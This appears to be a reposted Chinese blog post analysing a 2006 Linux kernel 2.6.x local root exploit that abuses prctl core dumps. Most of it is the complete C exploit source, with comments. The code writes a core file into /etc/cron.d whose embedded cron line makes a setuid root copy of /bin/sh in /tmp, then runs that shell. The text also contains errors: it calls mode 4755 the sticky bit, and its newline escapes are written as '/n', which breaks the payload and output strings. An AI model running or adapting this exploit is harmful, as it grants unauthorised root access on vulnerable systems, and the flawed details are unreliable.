linux一个漏洞的分析

来源:互联网 发布:w10打开软件防火墙 编辑:程序博客网 时间:2024/05/27 06:52


程序最早是国外的大佬写的。这个漏洞的原理非常简单,就是利用coredump的时候,可以在/etc/cron.d目录下生成core文件。
而在/etc/cron.d目录下的文件,crontab会定时以指定的用户权限来执行。如果在core文件中,指定用户权限是root,那么
就能够以我们希望的方式来运行所有的程序了。
下面就程序进行分析。

 

#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

 

char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh /n";


/* 在coredump生成的core文件中,就会出现payload的字符。也就是说,在core文件中,会有下面的几行文件。
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh
最后一行,如果熟悉crontab的配置,就知道这是crontab的文件格式,每分钟以root的身份执行一次后面的代码。
注意最后的chmod 4755 /tmp/sh,4755是标准的粘连位的设置。这样,任何执行/tmp/sh都将获得root权限。
*/

 

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
    printf("By: dreyer & RoMaNSoFt/n");
    printf("[ 10.Jul.2006 ]/n/n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);
    /*用setrlimit使得生成core文件的大小不受限制,这个函数改变linux kernel对于一些资源的限制*/

    printf("Creating Cron entry/n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        /*改变目录,使生成的文件在/etc/cron.d目录下*/
        prctl(PR_SET_DUMPABLE, 2);
        /*使内核可以生成core文件*/
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);
    /*使child process core dump*/
    printf("Sleeping for aprox. one minute (** please wait **)/n");
    sleep(62);
    /*等待crontab去运行生成的core 文件*/

    printf("Running shell (remember to remove /tmp/sh when finished) .../n");
    system("/tmp/sh -p");
    /*运行/tmp/sh,由于/tmp/sh所有人是root,设置了粘连位,所以任何运行此程序的人都将获得root权限*/
}

 

结束以后,请记得删除/etc/cron.d/目录下的core文件,和/tmp/sh文件。

                                                                                                          

原创粉丝点击